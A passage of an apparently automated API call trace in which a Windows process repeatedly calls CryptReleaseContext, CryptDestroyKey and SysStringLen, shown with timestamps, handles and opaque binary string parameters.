(param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x5a6f\x5070\x4b01\x94a0\xc6ff\x7ef2\xe478\x441f\x15fe\x71e2\x2b41\xa2b7\xd21a\x5420\x8e3e\xbd4a") returned 0x30 [0133.907] CryptDestroyKey (hKey=0x8e84ff8) returned 1 [0133.907] CryptReleaseContext (hProv=0x8e027a0, dwFlags=0x0) returned 1 [0133.907] CryptReleaseContext (hProv=0x8e027a0, dwFlags=0x0) returned 1 [0133.907] CryptDestroyKey (hKey=0x8e84cf8) returned 1 [0133.907] CryptReleaseContext (hProv=0x4396a38, dwFlags=0x0) returned 1 [0133.907] SysStringLen (param_1="\xc960\x8e63\xfa1d\x57c8\x59ca\x5a9e\xb0ca\x2e20\xdc70\x72b3\xa4a8\xb2e4\xb084\x4c90\x2a3c\x7668\xb0a4\xf0fa\xb574\x8ab5\x1a30\xffc8\x20a5\x9a3\x212a\x2707\xc35a\xc25e\xc2b8\x6584\xcd33\xd247\x597f\x990f\x100b\x2534\x1aea\x31de\x5d33\x2c6b\x3367\xb567\xd5cb\xa8e2\x9ac\x400d\x7f72\xcedf") returned 0x30 [0133.907] CryptReleaseContext (hProv=0x4396a38, dwFlags=0x0) returned 1 [0133.907] CryptReleaseContext (hProv=0x43964e8, dwFlags=0x0) returned 1 [0133.907] CryptDestroyKey (hKey=0x8e84c78) returned 1 [0133.907] CryptReleaseContext (hProv=0x43964e8, dwFlags=0x0) returned 1 [0133.908] CryptReleaseContext (hProv=0x43964e8, dwFlags=0x0) returned 1 [0133.908] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x5a6f\x5070\x4b01\x94a0\xc6ff\x7ef2\xe478\x441f\x13e3\x6058\x1550\xa424\x624e\x5782\xe366\xd765") returned 0x30 [0133.908] SysStringLen (param_1="\x3760\x60fc\x572b\x76c9\xc17f\x5c62\x9be1\x6222\xdfb3\x8575\xd99f\xb336\x2386\xcdd9\xb343\xd0d0\x4d62\x9cba\xe3b3\xad9a\x6544\x36cf\xb9f4\xc0b2\xc892\xe445\x3425\x7981\xb873\xacc3\x2999\x303\xd185\x1561\x7ebe\x11c6\x17fd\xcf7a\x88b\x3822\xf73f\xb010\x5d00\xd876\x8aa9\x2367\x6f2b\x68d3") returned 0x30 [0133.908] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x5a6f\x5070\x4b01\x94a0\xc6ff\x7ef2\xe478\x441f\x15fe\x71e2\x2b41\xa2b7\xd21a\x5420\x8e3e\xbd4a") returned 0x30 [0134.364] CryptReleaseContext (hProv=0x43964e8, dwFlags=0x0) returned 1 [0134.364] CryptDestroyKey (hKey=0x8e850f8) returned 1 [0134.364] CryptReleaseContext (hProv=0x43964e8, dwFlags=0x0) returned 1 [0134.364] CryptDestroyKey (hKey=0x8e849b8) returned 1 [0134.364] CryptReleaseContext (hProv=0x8e027a0, dwFlags=0x0) returned 1 [0134.364] CryptReleaseContext (hProv=0x8e027a0, dwFlags=0x0) returned 1 [0134.364] CryptReleaseContext (hProv=0x43964e8, dwFlags=0x0) returned 1 [0134.365] SysStringLen (param_1="\xce31\x917d\xcc1a\xae9\x35ff\xeb2a\x3668\xcaaa\x41af\x2f92\xb94b\x3d7c\x96dd\xf548\x2b4d\x215e\x8e45\x8613\x2ec8\x2942\xcd86\x21d4\xa9f7\x20b8\x35e8\xef90\x732a\x5b7d\x4d77\x6824\xa71\x6015\xcd38\xaaea\x56c5\x3313\x3d63\x25d0\x7cf6\x1877\x15a4\x48b\xa615\x164f\x2dee\xfb09\x9af4\xb07e") returned 0x30 [0134.365] CryptDestroyKey (hKey=0x8e84d38) returned 1 [0134.365] CryptReleaseContext (hProv=0x8e021c8, dwFlags=0x0) returned 1 [0134.365] CryptReleaseContext (hProv=0x8e021c8, dwFlags=0x0) returned 1 [0134.365] CryptDestroyKey (hKey=0x8e84cf8) returned 1 [0134.365] CryptReleaseContext (hProv=0x8e02360, dwFlags=0x0) returned 1 [0134.365] CryptReleaseContext (hProv=0x8e02360, dwFlags=0x0) returned 1 [0134.365] CryptDestroyKey (hKey=0x8e84b78) returned 1 [0134.365] CryptReleaseContext (hProv=0x8e027a0, dwFlags=0x0) returned 1 [0134.365] CryptReleaseContext (hProv=0x8e027a0, dwFlags=0x0) returned 1 [0134.366] CryptDestroyKey (hKey=0x8e849f8) returned 1 [0134.366] CryptReleaseContext (hProv=0x4396570, dwFlags=0x0) returned 1 [0134.366] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x5a6f\x5070\x4b01\x94a0\xc6ff\x7ef2\xe478\x441f\x15fe\x71e2\x2b41\xa2b7\xd21a\x5420\x8e3e\xbd4a") returned 0x30 [0134.366] CryptReleaseContext (hProv=0x4396570, dwFlags=0x0) returned 1 [0134.366] CryptDestroyKey (hKey=0x8e84b38) returned 1 [0134.366] CryptReleaseContext (hProv=0x8e02828, dwFlags=0x0) returned 1 [0134.366] CryptReleaseContext (hProv=0x8e02828, dwFlags=0x0) returned 1 [0134.366] SysStringLen (param_1="\xccfe\x611b\xea9e\x1625\xedb6\xc57f\x61ab\x66f7\x79c7\x2e14\x9744\xad6d\xb394\xbb5a\x6d24\xfe73\x965b\x869d\x15c\x7ac1\x5a47\xd0f\x7ffb\xa06b\x26c7\xca5c\x519b\xed3e\xe633\xaa89\x7290\xead5\x929e\x1076\x312f\x53ab\x8a65\x8e19\xc261\xa4dc\xee09\xb1a3\x982f\x7db2\x5ea1\x7092\xf6d6\x86a6") returned 0x30 [0134.366] SysStringLen (param_1="\xc01b\x4c0a\x8933\x8935\x8bfb\x6acf\xb8df\x207\x37ab\xa8f1\x7f94\x9aec\xc77e\x4447\xb782\x403d\x2c40\x44b1\x22b7\xcdd8\x49da\xfd46\xeba0\xc6c7\x7f0d\x5ce3\x5ce\x51da\xc035\x18d6\x7ee0\x5f37\x9bb4\xc151\x1e2d\xa5a7\xab12\x6a99\x04\xbf97\xba36\xb105\xfc10\xd171\x33b9\x7728\x2ab4\x76a6") returned 0x30 [0134.367] CryptDestroyKey (hKey=0x8e84c38) returned 1 [0134.367] CryptReleaseContext (hProv=0x8e021c8, dwFlags=0x0) returned 1 [0134.367] CryptReleaseContext (hProv=0x8e021c8, dwFlags=0x0) returned 1 [0134.367] CryptDestroyKey (hKey=0x8e85138) returned 1 [0134.367] CryptReleaseContext (hProv=0x43964e8, dwFlags=0x0) returned 1 [0134.367] CryptDestroyKey (hKey=0x8e84df8) returned 1 [0134.367] CryptReleaseContext (hProv=0x8e028b0, dwFlags=0x0) returned 1 [0134.367] CryptReleaseContext (hProv=0x8e028b0, dwFlags=0x0) returned 1 [0134.367] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x5a6f\x5070\x4b01\x94a0\xc6ff\x7ef2\xe478\x441f\xf8da\xbb4f\x1f01\x83bb\x95e0\x2bc3\xedae\xae99") returned 0x30 [0134.367] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x5a6f\x5070\x4b01\x94a0\xc6ff\x7ef2\xe478\x441f\x13e3\x6058\x1550\xa424\x624e\x5782\xe366\xd765") returned 0x30 [0134.694] CryptReleaseContext (hProv=0x8e027a0, dwFlags=0x0) returned 1 [0134.694] CryptDestroyKey (hKey=0x8e84bb8) returned 1 [0134.694] CryptReleaseContext (hProv=0x4396a38, dwFlags=0x0) returned 1 [0134.694] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x5a6f\x5070\x4b01\x94a0\xc6ff\x7ef2\xe478\x441f\xb5e5\x9f60\x3ed1\x3b84\x469\x7dec\xcf05\x6edf") returned 0x30 [0134.694] SysStringLen (param_1="\xca\xfc9d\xe4b4\x7103\xbe69\xafb1\x52b\xff7a\xfccc\xd6bc\x6d33\x895f\x2307\xf102\xf615\x3d91\x9387\x191d\x8d4b\xacde\x297c\x32da\xca14\xf753\xa11d\xffa8\x368a\xe19a\xb150\x24cf\x4c6d\x3444\x7719\x1aca\xeb72\x8eb3\x3252\x236f\x179d\x47fb\xe6ea\x6c5f\x2238\x5f6\x3d3a\x7e7d\x932f\xbf50") returned 0x30 [0134.694] CryptDestroyKey (hKey=0x8e853b8) returned 1 [0134.694] CryptReleaseContext (hProv=0x4396570, dwFlags=0x0) returned 1 [0134.694] SysStringLen (param_1="\x5b16\xd924\x7076\xedd\xa14e\x4499\xc68c\x9468\x3022\xfc4f\x9d8\x81ac\x3fc1\x20f1\x149\x4d7\x3040\x3a3b\x14eb\x366b\x70fe\xb551\x724a\xf298\x7c67\xcb9d\x687f\x1a05\x97bb\x695a\x1d8b\xae76\xddb8\xf62a\xc30e\xaafe\xf8c5\x3a41\x5510\x9dd\x8b\x3434\xed20\x2c14\xf277\x20d9\xc621\x4bac") returned 0x30 [0134.694] CryptReleaseContext (hProv=0x4396a38, dwFlags=0x0) returned 1 [0134.694] CryptDestroyKey (hKey=0x8e84fb8) returned 1 [0134.694] CryptReleaseContext (hProv=0x4396a38, dwFlags=0x0) returned 1 [0134.695] CryptDestroyKey (hKey=0x8e85238) returned 1 [0134.695] CryptReleaseContext (hProv=0x43964e8, dwFlags=0x0) returned 1 [0134.695] CryptReleaseContext (hProv=0x43964e8, dwFlags=0x0) returned 1 [0134.695] CryptReleaseContext (hProv=0x4396a38, dwFlags=0x0) returned 1 [0134.695] CryptReleaseContext (hProv=0x4396570, dwFlags=0x0) returned 1 [0134.695] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x5a6f\x5070\x4b01\x94a0\xc6ff\x7ef2\xe478\x441f\xf8da\xbb4f\x1f01\x83bb\x95e0\x2bc3\xedae\xae99") returned 0x30 [0134.695] SysStringLen (param_1="\x5c27\x72f6\x332\x6f4f\x8170\x888a\x1dd\x9422\xa8e9\x4128\xc5f8\x6c5b\xd11e\xff64\x8ec1\xcae4\x608f\xca75\x62a8\x4546\x5206\x84f\x3197\x2997\x19ed\x9a8f\x8a7b\x958b\x89fc\x711f\x5c68\xc13\xf3cb\xb58c\x7c1\x3cce\x34c1\x631b\x8dd5\xb63b\x36a8\xf851\x8229\x66aa\x8005\xb3b9\x3ad\x229") returned 0x30 [0134.695] CryptDestroyKey (hKey=0x8e849f8) returned 1 [0134.695] CryptReleaseContext (hProv=0x8e02828, dwFlags=0x0) returned 1 [0134.695] CryptReleaseContext (hProv=0x8e02828, dwFlags=0x0) returned 1 [0134.695] CryptDestroyKey (hKey=0x8e85138) returned 1 [0134.695] CryptReleaseContext (hProv=0x8e02828, dwFlags=0x0) returned 1 [0134.695] CryptReleaseContext (hProv=0x8e02828, dwFlags=0x0) returned 1 [0134.696] CryptDestroyKey (hKey=0x8e85378) returned 1 [0134.696] CryptReleaseContext (hProv=0x4396570, dwFlags=0x0) returned 1 [0134.696] CryptReleaseContext (hProv=0x4396570, dwFlags=0x0) returned 1 [0134.696] CryptDestroyKey (hKey=0x8e854f8) returned 1 [0134.696] CryptReleaseContext (hProv=0x43969b0, dwFlags=0x0) returned 1 [0134.696] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x5a6f\x5070\x4b01\x94a0\xc6ff\x7ef2\xe478\x441f\xfd74\x5cb7\xe75d\xbadd\xa656\x816d\x5043\xfec0") returned 0x30 [0134.696] CryptReleaseContext (hProv=0x43969b0, dwFlags=0x0) returned 1 [0134.696] CryptDestroyKey (hKey=0x8e84ff8) returned 1 [0134.696] CryptReleaseContext (hProv=0x4396e78, dwFlags=0x0) returned 1 [0134.696] CryptReleaseContext (hProv=0x4396e78, dwFlags=0x0) returned 1 [0134.696] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x5a6f\x5070\x4b01\x94a0\xc6ff\x7ef2\xe478\x441f\xf8da\xbb4f\x1f01\x83bb\x95e0\x2bc3\xedae\xae99") returned 0x30 [0134.696] CryptDestroyKey (hKey=0x8e850f8) returned 1 [0134.696] CryptReleaseContext (hProv=0x8e027a0, dwFlags=0x0) returned 1 [0134.696] CryptDestroyKey (hKey=0x8e84f78) returned 1 [0134.696] CryptReleaseContext (hProv=0x4396e78, dwFlags=0x0) returned 1 [0134.696] SysStringLen (param_1="\x8b5\x3a48\x20e1\xa46e\xef04\x5220\x5fcf\xe4a5\xc3cd\x13cd\x55f3\x4e8d\x2faf\x2e60\x13c\xac50\xabe8\xe2aa\x3d2a\xca0\xa1f4\xc6c2\xdb2a\xf286\x4d3a\x1e3\xff4d\xdb5d\xa6a6\xdeb7\x6fc0\xcbf0\xbe2e\x20b4\xb278\xc1db\x49ff\x25e4\xe78f\xd83f\x55d2\x400e\x4b28\x9423\xde91\xb274\x8a14\xd7b5") returned 0x30 [0134.696] CryptReleaseContext (hProv=0x4396e78, dwFlags=0x0) returned 1 [0134.925] CryptDestroyKey (hKey=0x8e84d38) returned 1 [0134.925] CryptReleaseContext (hProv=0x8e027a0, dwFlags=0x0) returned 1 [0134.925] CryptReleaseContext (hProv=0x8e027a0, dwFlags=0x0) returned 1 [0134.925] SysStringLen (param_1="\xb628\xf178\x2d34\x53bb\x8f4\x339e\xb458\x217d\x861e\xb89f\x22eb\x7fea\xbe9d\xb7e2\x30a9\x5891\xf4ab\xb4bc\xc342\x282a\x1c91\xe047\x408c\x13a6\x2f8c\xead7\xe44b\x4021\xd34b\xa15f\x6ebd\x3199\x2d8a\x407b\xe56c\x633a\xeef\x9973\x739d\x4937\xfb8b\x5cf1\x9cf8\xde4\x1159\xfb76\x325a\x1215") returned 0x30 [0134.925] CryptDestroyKey (hKey=0x8e84b38) returned 1 [0134.925] CryptReleaseContext (hProv=0x8e021c8, dwFlags=0x0) returned 1 [0134.925] CryptReleaseContext (hProv=0x8e021c8, dwFlags=0x0) returned 1 [0134.925] CryptDestroyKey (hKey=0x8e850f8) returned 1 [0134.925] CryptReleaseContext (hProv=0x4396e78, dwFlags=0x0) returned 1 [0134.925] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x5a6f\x5070\x4b01\x94a0\xc6ff\x7ef2\xe478\x441f\x7cdb\x7cbe\x59ea\x841a\x160\xd8c\x5196\xaffc") returned 0x30 [0134.925] CryptReleaseContext (hProv=0x4396e78, dwFlags=0x0) returned 1 [0134.925] CryptDestroyKey (hKey=0x8e84fb8) returned 1 [0134.925] CryptReleaseContext (hProv=0x4396e78, dwFlags=0x0) returned 1 [0134.925] CryptReleaseContext (hProv=0x4396e78, dwFlags=0x0) returned 1 [0134.925] CryptDestroyKey (hKey=0x8e84cf8) returned 1 [0134.925] CryptReleaseContext (hProv=0x8e027a0, dwFlags=0x0) returned 1 [0134.925] CryptReleaseContext (hProv=0x8e027a0, dwFlags=0x0) returned 1 [0134.926] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x5a6f\x5070\x4b01\x94a0\xc6ff\x7ef2\xe478\x441f\x15fe\x71e2\x2b41\xa2b7\xd21a\x5420\x8e3e\xbd4a") returned 0x30 [0134.926] SysStringLen (param_1="\x24ad\x37a9\xc41b\x5e57\xbeb5\xb663\xc4b\x4467\xf59e\xa845\x4dc2\x38df\x179f\xca07\x63eb\x5a77\x4b08\x7e64\x2aa0\xebae\x876c\xa839\xd0c8\x3f87\x5515\xa402\x4cb7\xc9d6\xa222\xd937\xb271\x7da3\x385\x3f4d\x7daf\x7d92\x3865\x81b9\xe15c\x6642\x8971\x881b\x56b2\x8771\xb794\xefb4\xd951\x1910") returned 0x30 [0134.926] CryptDestroyKey (hKey=0x8e84e38) returned 1 [0134.926] CryptReleaseContext (hProv=0x8e021c8, dwFlags=0x0) returned 1 [0134.926] CryptReleaseContext (hProv=0x8e021c8, dwFlags=0x0) returned 1 [0134.926] SysStringLen (param_1="\x11bf\xc0d9\xa048\x7487\xb053\x8b8f\x28ab\xee93\x572d\x6a1c\x48d4\xa2e6\x6c80\xf72a\x3860\xdc7d\x574f\xd807\xb1e5\xabcb\xd6ee\xb147\x4e63\x7d55\x318f\xe987\xc068\xa632\xbeef\x4fb8\xb951\x6938\x1852\x2573\xf6cb\x7a83\xaf7\x3aa7\xb7c6\xae94\x8ba6\x74c8\x639f\x1aff\x3cc6\x4465\x92e3\xb2d5") returned 0x30 [0134.926] CryptDestroyKey (hKey=0x8e84bb8) returned 1 [0134.926] CryptReleaseContext (hProv=0x8e02360, dwFlags=0x0) returned 1 [0134.926] CryptReleaseContext (hProv=0x8e02360, dwFlags=0x0) returned 1 [0134.926] CryptDestroyKey (hKey=0x8e849b8) returned 1 [0134.926] CryptReleaseContext (hProv=0x43969b0, dwFlags=0x0) returned 1 [0134.926] CryptReleaseContext (hProv=0x43969b0, dwFlags=0x0) returned 1 [0134.926] CryptDestroyKey (hKey=0x8e84a78) returned 1 [0134.926] CryptReleaseContext (hProv=0x8e02828, dwFlags=0x0) returned 1 [0134.927] CryptReleaseContext (hProv=0x8e02828, dwFlags=0x0) returned 1 [0134.927] CryptDestroyKey (hKey=0x8e84df8) returned 1 [0134.927] CryptReleaseContext (hProv=0x8e028b0, dwFlags=0x0) returned 1 [0134.927] CryptReleaseContext (hProv=0x8e028b0, dwFlags=0x0) returned 1 [0134.927] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x5a6f\x5070\x4b01\x94a0\xc6ff\x7ef2\xe478\x441f\x15fe\x71e2\x2b41\xa2b7\xd21a\x5420\x8e3e\xbd4a") returned 0x30 [0135.251] SysStringLen (param_1="\x704a\x5dee\x3c69\x8b95\x2050\x36a0\x8fcd\x6e08\xcab1\x21b0\xda80\xd4d7\x864c\xd668\x5305\xb5f4\xdeef\xed57\x2677\x99b2\x5d4c\xfa8a\x985f\xf273\xbadd\x5c04\xd424\xb360\x430e\x6418\xee50\xcd84\x89ba\xcb8c\x7ad6\xa63\xfb2e\x89a3\xa32f\x54ca\xa946\xba9\x8211\x5113\xd3d5\x4e38\x31aa\x2a74") returned 0x30 [0135.251] CryptDestroyKey (hKey=0x8e84c38) returned 1 [0135.251] CryptReleaseContext (hProv=0x43964e8, dwFlags=0x0) returned 1 [0135.251] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x5a6f\x5070\x4b01\x94a0\xc6ff\x7ef2\xe478\x441f\x7cdb\x7cbe\x59ea\x841a\x160\xd8c\x5196\xaffc") returned 0x30 [0135.251] CryptDestroyKey (hKey=0x8e84bf8) returned 1 [0135.251] CryptReleaseContext (hProv=0x4396e78, dwFlags=0x0) returned 1 [0135.251] CryptReleaseContext (hProv=0x4396e78, dwFlags=0x0) returned 1 [0135.251] SysStringLen (param_1="\x9bc5\xcaec\x4d30\xe105\xb970\x8da6\x23d2\xd8f3\x33b9\x3461\xcb00\xc91e\x9654\xe9f6\xd181\xe688\xc116\xbf39\xc9d6\x64cb\x2805\xf0dc\x4da3\x3925\x62d\xb46b\x3ee2\xcaeb\x9167\x3ded\x1119\xc8f9\x179e\x9a83\x5bf5\x8c37\xa6ee\xe2b7\xe83f\x86d4\xf923\x1fc1\xf3a\xe0be\xedba\xc554\xc0e1\xa60f") returned 0x30 [0135.251] CryptReleaseContext (hProv=0x43964e8, dwFlags=0x0) returned 1 [0135.252] CryptDestroyKey (hKey=0x8e84b38) returned 1 [0135.252] CryptReleaseContext (hProv=0x4396570, dwFlags=0x0) returned 1 [0135.252] CryptReleaseContext (hProv=0x4396570, dwFlags=0x0) returned 1 [0135.252] CryptDestroyKey (hKey=0x8e84db8) returned 1 [0135.252] CryptReleaseContext (hProv=0x43969b0, dwFlags=0x0) returned 1 [0135.252] CryptReleaseContext (hProv=0x43969b0, dwFlags=0x0) returned 1 [0135.252] CryptDestroyKey (hKey=0x8e84bb8) returned 1 [0135.252] CryptReleaseContext (hProv=0x4396a38, dwFlags=0x0) returned 1 [0135.252] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x5a6f\x5070\x4b01\x94a0\xc6ff\x7ef2\xe478\x441f\x15fe\x71e2\x2b41\xa2b7\xd21a\x5420\x8e3e\xbd4a") returned 0x30 [0135.252] CryptReleaseContext (hProv=0x4396a38, dwFlags=0x0) returned 1 [0135.252] CryptDestroyKey (hKey=0x8e84ff8) returned 1 [0135.252] CryptReleaseContext (hProv=0x43964e8, dwFlags=0x0) returned 1 [0135.252] CryptDestroyKey (hKey=0x8e84fb8) returned 1 [0135.252] CryptReleaseContext (hProv=0x4396e78, dwFlags=0x0) returned 1 [0135.253] CryptReleaseContext (hProv=0x4396e78, dwFlags=0x0) returned 1 [0135.253] CryptReleaseContext (hProv=0x43964e8, dwFlags=0x0) returned 1 [0135.253] CryptDestroyKey (hKey=0x8e84f78) returned 1 [0135.253] CryptReleaseContext (hProv=0x8e027a0, dwFlags=0x0) returned 1 [0135.253] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x5a6f\x5070\x4b01\x94a0\xc6ff\x7ef2\xe478\x441f\x7cdb\x7cbe\x59ea\x841a\x160\xd8c\x5196\xaffc") returned 0x30 [0135.253] CryptDestroyKey (hKey=0x8e84b78) returned 1 [0135.253] CryptReleaseContext (hProv=0x43969b0, dwFlags=0x0) returned 1 [0135.253] CryptReleaseContext (hProv=0x43969b0, dwFlags=0x0) returned 1 [0135.253] SysStringLen (param_1="\xfb72\xa867\xfad3\x6f31\x7bef\x393b\xd54\x10eb\x30d8\x25a6\xfe6d\x50e4\x6294\xea36\x76e0\x251c\x638b\xd39a\x4d17\xafbc\x4b5e\x9d7a\xde1d\xce9\xb9d8\xb9b7\xf899\x3cd5\x7fcf\x9753\xf1f6\x92c1\x7474\xf166\x31f0\xd9b1\xf351\xfe7c\x8699\x6173\xa4b7\x5ab3\xe903\xcdbb\xefa8\x88de\xdb12\x445d") returned 0x30 [0135.253] CryptReleaseContext (hProv=0x8e027a0, dwFlags=0x0) returned 1 [0135.467] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x5a6f\x5070\x4b01\x94a0\xc6ff\x7ef2\xe478\x441f\x5c61\xd16d\x26ca\x66d6\x4579\xf096\x762f\xd9fd") returned 0x30 [0135.467] CryptDestroyKey (hKey=0x8e84a78) returned 1 [0135.467] CryptReleaseContext (hProv=0x8e02828, dwFlags=0x0) returned 1 [0135.467] CryptReleaseContext (hProv=0x8e02828, dwFlags=0x0) returned 1 [0135.467] CryptDestroyKey (hKey=0x8e850f8) returned 1 [0135.467] CryptReleaseContext (hProv=0x8e027a0, dwFlags=0x0) returned 1 [0135.467] SysStringLen (param_1="\x1679\x9327\x8458\x6dab\xb4c0\x8861\x75bb\xcd91\x5c83\xf407\xb474\x7363\x5a72\xcdc7\xf69d\x844f\x87ba\x39ae\xe7c5\xa056\x366a\x385f\x9670\xe2aa\xa53a\xf5f1\xffed\x947b\x8f2a\xbeb1\x5924\xfc2c\x333\x20a6\x816f\x620e\x69d6\x8cc0\xc0bc\x394d\xe43a\x59a3\x4239\x7f\xd1c9\x447b\x5706\xb784") returned 0x30 [0135.467] CryptReleaseContext (hProv=0x8e027a0, dwFlags=0x0) returned 1 [0135.467] CryptDestroyKey (hKey=0x8e849b8) returned 1 [0135.467] CryptReleaseContext (hProv=0x8e021c8, dwFlags=0x0) returned 1 [0135.467] CryptReleaseContext (hProv=0x8e021c8, dwFlags=0x0) returned 1 [0135.468] CryptDestroyKey (hKey=0x8e84b38) returned 1 [0135.468] CryptReleaseContext (hProv=0x8e02828, dwFlags=0x0) returned 1 [0135.468] CryptReleaseContext (hProv=0x8e02828, dwFlags=0x0) returned 1 [0135.468] SysStringLen (param_1="\x64ec\x5b85\xd5b\x67bd\x3f40\x2561\xebc7\x97ce\x1c1b\x7cda\x29f6\x9d3f\xe69f\x3aae\x4c12\x7db6\xefd6\x1942\x865a\xbad1\x6432\x25dd\x1669\xe9db\x55cc\xf685\x2bc3\x6ab2\x9116\x2e2c\x2ee7\x7f4d\xd111\xb59\xc01c\xe683\x43a4\x1aa6\x213a\xe305\xd712\xdd50\xae1f\x8a8f\xcc0a\x9b4f\xfefc\x25e9") returned 0x30 [0135.468] CryptDestroyKey (hKey=0x8e84b78) returned 1 [0135.468] CryptReleaseContext (hProv=0x8e028b0, dwFlags=0x0) returned 1 [0135.468] CryptReleaseContext (hProv=0x8e028b0, dwFlags=0x0) returned 1 [0135.468] CryptDestroyKey (hKey=0x8e84978) returned 1 [0135.468] CryptReleaseContext (hProv=0x8e028b0, dwFlags=0x0) returned 1 [0135.468] CryptReleaseContext (hProv=0x8e028b0, dwFlags=0x0) returned 1 [0135.468] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x5a6f\x5070\x4b01\x94a0\xc6ff\x7ef2\xe478\x441f\x15fe\x71e2\x2b41\xa2b7\xd21a\x5420\x8e3e\xbd4a") returned 0x30 [0135.468] SysStringLen 